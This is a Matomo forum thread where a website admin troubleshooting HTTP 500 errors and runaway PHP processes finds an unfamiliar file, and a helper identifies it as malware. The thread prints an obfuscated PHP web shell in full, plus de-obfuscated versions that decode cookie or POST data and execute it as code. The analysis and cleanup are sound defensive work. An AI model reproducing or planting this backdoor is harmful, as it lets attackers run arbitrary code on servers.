HTTP error 500/408 after login to Matomo

nprett · September 24, 2020, 3:43pm

Dear community,

since my colleagues were fired and have taken all the know-how with them, I am now responsible for our low traffic website by myself. Unfortunately, I have no experience with WordPress or Matomo at all, so I hope to find help here.

My company is using WordPress and Matomo version 3.14.0.

Since Wed Sep 03 there is a performance issue on the web host. The utilization has been increasing continuously since then.

I found many of this php processes running. More processes are added every day and the load continues to rise:

apache    11284 51.3  0.6 256564 25840 ?        R    Sep10 2468:29 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=baed16f0fafbc43657b4386d374bc21219077c90fe462f62aee5f349831f177598637cc0d2df46b2a6f6f7b4ad624189f3d60&runid=9924
apache    24120 48.2  0.6 256564 25832 ?        R    Sep11 2178:09 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=2969f1e15b1cb6065c811b16b910d97e6540ecb2aed8ddab04319a38a478e8a45b0ef22baeee77334dccfa8665e59919b93e0&runid=11287
apache    38230 45.2  0.6 256564 25828 ?        R    Sep11 1928:22 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=60d7c0d8f1c7c1882b4626e9b8c37ba524ad60f3b3167cd8ce7033977d7ecf84abd43d789f369180dc34d1b08077ef61000f0&runid=11270
apache    56338 43.1  0.6 256564 25828 ?        R    Sep11 1778:13 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=2fa471e8cce9301166f8caad4ab2863b201bb9eb4ca76bbdf99d68d037995d467d79c4a972ce1bcf3fb0efe4be66ea032b7e0&runid=54379
apache    71023 41.7  0.6 256564 25840 ?        R    Sep11 1674:19 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=829a2b76989b5de6cc9e4655ba2fa61d85b23d25999e687381e8cd5d6df13c1706deda44df9cfca46e7d1fc1d969d50182790&runid=69373
apache    81955 41.1  0.6 256564 24376 ?        R    Sep11 1625:29 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=c896229251f8a31becd37fd3b76d64592e53892042cab4e5df297e18bcbd19bfa32e683f7f573ad22790260b67c63cfc5ed40&runid=80078
apache    98531 40.4  0.6 256564 24412 ?        R    Sep11 1558:37 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=9de1b5da6bc0fb33d1ae76027f153690128a265f97e982181f32ff9fbba2381b17f82df21741821f51016a2c5c59499768c00&runid=71306
apache   114586 40.1  0.6 256564 25732 ?        R    Sep11 1503:00 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=2a489a55fde18b1aed24473cca3ac2ca0443a79134a1273cc5b51e0e02963939c88e0fa5d28448148790cca4511d20736fa00&runid=106811
apache    23505 39.0  0.6 256564 24356 ?        R    Sep11 1325:30 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=0ccabec1a4dc11f8af5b1500442ce3ca2c8417f76d8f4e7eb4d7a627be4fd512c5b353e6bc2b765097a538bcf41df2a40a8d0&runid=23079
apache    23507 39.0  0.6 256564 24136 ?        R    Sep11 1326:47 /usr/bin/php -q /var/www/html/stats/console climulti:request -q --matomo-domain=www.xxxxxxx.at --superuser module=API&format=csv&convertToUnicode=0&method=CoreAdminHome.runScheduledTasks&trigger=archivephp&pid=0be27f385b8bd6da81d5fa59f1781f41d35cd1e101a94d5dd8635a0a75241172410fe8e324ed46751ac1593c54fc68ed2f0c0&runid=2670

Since about two weeks now I’ve been killing the processes to reduce the load. After killing the processes I loaded our website and saw that it was working fine and didn’t give any further thought for the moment.

A week ago our marketing department reported an HTTP ERROR 500 during login to Matomo. At this time, I didn’t know we were using Matomo.

I did a long research on the Internet to find out more about these processes. Finaly I was also able to overwrite the password of the Matomo admin account in the Matomo database.
When I tried to log in I got the same error as our marketing department: HTTP ERROR 500

I found the following errors in the apache log:

192.168.132.16 - - [22/Sep/2020:14:03:28 +0200] "GET /stats/index.php?module=CoreHome&action=index&idSite=1&period=day&date=yesterday HTTP/1.1" 500 -
192.168.132.16 - - [22/Sep/2020:14:03:50 +0200] "-" 408 -

Since Wed Sep 02 until now, the following error can also be found in the apache log:

[Wed Sep 02 20:27:18.265842 2020] [php7:error] [pid 17903] [client xx.xxx.xxx.xx:27708] PHP Fatal error:  Cannot redeclare oahhgkj() (previously declared in /var/www/html/stats/plugins/Actions/Actions/fswdffmx.php:2) in /var/www/html/stats/plugins/Actions/Actions/fswdffmx.php on line 2, referer: https://www.xxxxxxx.at/de/

Since the error has been occurring since Wed Sep 02 and the performance issue has been seen since Wed Sep 03, I suspect a connection between these two error messages.

I looked at the specified PHP script /var/www/html/stats/plugins/Actions/Actions/fswdffmx.php and asked myself what that should be:

<?php
$uisqtx = 'l9drs8pnHbeti62x7*1_-k35ocu40a\'v#fgym';$trvpnl = Array();$trvpnl[] = $uisqtx[8].$uisqtx[17];$trvpnl[] = $uisqtx[25].$uisqtx[3].$uisqtx[10].$uisqtx[29].$uisqtx[11].$uisqtx[10].$uisqtx[19].$uisqtx[33].$uisqtx[26].$uisqtx[7].$uisqtx[25].$uisqtx[11].$uisqtx[12].$uisqtx[24].$uisqtx[7];$trvpnl[] = $uisqtx[1].$uisqtx[18].$uisqtx[14].$uisqtx[23].$uisqtx[27].$uisqtx[23].$uisqtx[25].$uisqtx[10].$uisqtx[20].$uisqtx[33].$uisqtx[29].$uisqtx[13].$uisqtx[29].$uisqtx[20].$uisqtx[27].$uisqtx[14].$uisqtx[14].$uisqtx[16].$uisqtx[20].$uisqtx[9].$uisqtx[29].$uisqtx[14].$uisqtx[28].$uisqtx[20].$uisqtx[23].$uisqtx[14].$uisqtx[29].$uisqtx[22].$uisqtx[5].$uisqtx[10].$uisqtx[14].$uisqtx[27].$uisqtx[33].$uisqtx[33].$uisqtx[2].$uisqtx[14];$trvpnl[] = $uisqtx[32];$trvpnl[] = $uisqtx[25].$uisqtx[24].$uisqtx[26].$uisqtx[7].$uisqtx[11];$trvpnl[] = $uisqtx[4].$uisqtx[11].$uisqtx[3].$uisqtx[19].$uisqtx[3].$uisqtx[10].$uisqtx[6].$uisqtx[10].$uisqtx[29].$uisqtx[11];$trvpnl[] = $uisqtx[10].$uisqtx[15].$uisqtx[6].$uisqtx[0].$uisqtx[24].$uisqtx[2].$uisqtx[10];$trvpnl[] = $uisqtx[4].$uisqtx[26].$uisqtx[9].$uisqtx[4].$uisqtx[11].$uisqtx[3];$trvpnl[] = $uisqtx[29].$uisqtx[3].$uisqtx[3].$uisqtx[29].$uisqtx[35].$uisqtx[19].$uisqtx[36].$uisqtx[10].$uisqtx[3].$uisqtx[34].$uisqtx[10];$trvpnl[] = $uisqtx[4].$uisqtx[11].$uisqtx[3].$uisqtx[0].$uisqtx[10].$uisqtx[7];$trvpnl[] = $uisqtx[6].$uisqtx[29].$uisqtx[25].$uisqtx[21];foreach ($trvpnl[8]($_COOKIE, $_POST) as $uibfx => $kwuco){function oahhgkj($trvpnl, $uibfx, $dhufifo){return $trvpnl[7]($trvpnl[5]($uibfx . $trvpnl[2], ($dhufifo / $trvpnl[9]($uibfx)) + 1), 0, $dhufifo);}function jisudj($trvpnl, $iopacr){return @$trvpnl[10]($trvpnl[0], $iopacr);}function ufvfdtw($trvpnl, $iopacr){$recoyi = $trvpnl[4]($iopacr) % 3;if (!$recoyi) {$djgtmbu = $trvpnl[1]; $hlcpp = $djgtmbu("", $iopacr[1]($iopacr[2]));$hlcpp();exit();}}$kwuco = jisudj($trvpnl, $kwuco);ufvfdtw($trvpnl, $trvpnl[6]($trvpnl[3], $kwuco ^ oahhgkj($trvpnl, $uibfx, $trvpnl[9]($kwuco))));}

Maybe someone knows about fswdffmx.php (Google doesn’t) or where it comes from.
I think solving this declaration error will also solve the error 500 / 408 and will let me login to Matomo to disable this “browser triggered archiving” feature to finaly solve the performance issue, hopfully.

Of course, our marketing department would be very happy to be able to use Matomo again.

Thank’s a lot,
nprett

Lukas · September 24, 2020, 6:04pm

Hi,

Unless you created the fswdffmx.php, there is a very high chance that some malware is running on your server!

More details follow…

Lukas · September 24, 2020, 6:12pm

Matomo doesn’t use PHP files with cryptic file names and you can verify on Github and in the latest Matomo release zip that this file should not exist.

In addition, the file uses a lot of tricks to obfuscate what it does which is a clear sign of Malware.

I am no expert in how to clean up such a case, but I’d strongly recommend updating all software to the latest version and trying to find out which vulnerability caused the file to be created.

Lukas · September 24, 2020, 6:28pm

In case you want to know what that PHP file does:

This is a slightly reformatted version:

<?php
$uisqtx = 'l9drs8pnHbeti62x7*1_-k35ocu40a\'v#fgym';
$trvpnl = array();
$trvpnl[] = 'H*';
$trvpnl[] = 'create_function';
$trvpnl[] = '912545ce-fa6a-4227-ba20-52a38e24ffd2';
$trvpnl[] = '#';
$trvpnl[] = 'count';
$trvpnl[] = 'str_repeat';
$trvpnl[] = 'explode';
$trvpnl[] = 'substr';
$trvpnl[] = 'array_merge';
$trvpnl[] = 'strlen';
$trvpnl[] = 'pack';
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    function oahhgkj($trvpnl, $uibfx, $dhufifo)
    {
        return substr(str_repeat($uibfx . '912545ce-fa6a-4227-ba20-52a38e24ffd2', $dhufifo / strlen($uibfx) + 1), 0, $dhufifo);
    }
    function jisudj($trvpnl, $iopacr)
    {
        return @pack($trvpnl[0], $iopacr);
    }
    function ufvfdtw($trvpnl, $iopacr)
    {
        $recoyi = count($iopacr) % 3;
        if (!$recoyi) {
            $hlcpp = create_function("", $iopacr[1]($iopacr[2]));
            $hlcpp();
            exit;
        }
    }
    $value = jisudj($trvpnl, $value);
    ufvfdtw($trvpnl, explode('#', $value ^ oahhgkj($trvpnl, $key, strlen($value))));
}

With a bit of reshuffling the functions around and renaming a few variables to what I guess they mean, I get the following:

<?php
foreach (array_merge($_COOKIE, $_POST) as $name => $value) {
    $value = @pack('H*', $value);
    $valid_request = count(explode('#',
            $value ^ substr(
                str_repeat($name . '912545ce-fa6a-4227-ba20-52a38e24ffd2',
                    strlen($value) / strlen($name) + 1
                ),
                0, strlen($value)
            )
        )) % 3;
    if (!$valid_request) {
        $code = explode('#',
            $value ^ substr(str_repeat(
                $name . '912545ce-fa6a-4227-ba20-52a38e24ffd2',
                strlen($value) / strlen($name) + 1), 0, strlen($value)
            )
        )[1](explode('#',
            $value ^ substr(str_repeat(
                $name . '912545ce-fa6a-4227-ba20-52a38e24ffd2',
                strlen($value) / strlen($name) + 1), 0, strlen($value)
            ))[2]
        );
        $attacker_function = create_function("", $code);
        $attacker_function();
        exit;
    }
}

which is a lot clearer what it does:

Every time someone accesses the URL of that PHP file, it reads all cookies and POST parameters that are set. For each of them it shuffles the values of these cookies/parameters a bit around and if it matches a format that the attacker specified, it goes on to the next step. It extracts a part of the cookies value and tells PHP that it should interpret this part as PHP code and execute it.

In other words: This PHP file allows anyone who can access your website (and especially the person who placed it there) to execute any code they want on the server.

nprett · September 25, 2020, 1:56pm

Hello Lukas,

wow, thank you very much for your quick answer and the detailed analysis.
I reacted immediately and deleted the PHP file from the server.
I will also restore the backup from the beginning of September, as the file did not yet exist in this one.

In any case, I hope that Matomo will then work again and that the performance problems will be solved.
All of this will happen in the course of the next week.

I’ll keep you up to date here and I’ll get back to you if necessary.

Thank you very much and best regards,
nprett

nprett · September 29, 2020, 2:41pm

Hi,

we have installed a new clean web server with newer versions of Apache, MySQL, PHP, WordPress and Matomo.

The Matomo login works fine now.
The performance issue is also solved.

We are now looking for a “Malware-Scanner” to be alerted by our monitoring in the future.
I think there is a WordPress-plugin for scanning the web-root directory…

Thank you for your support!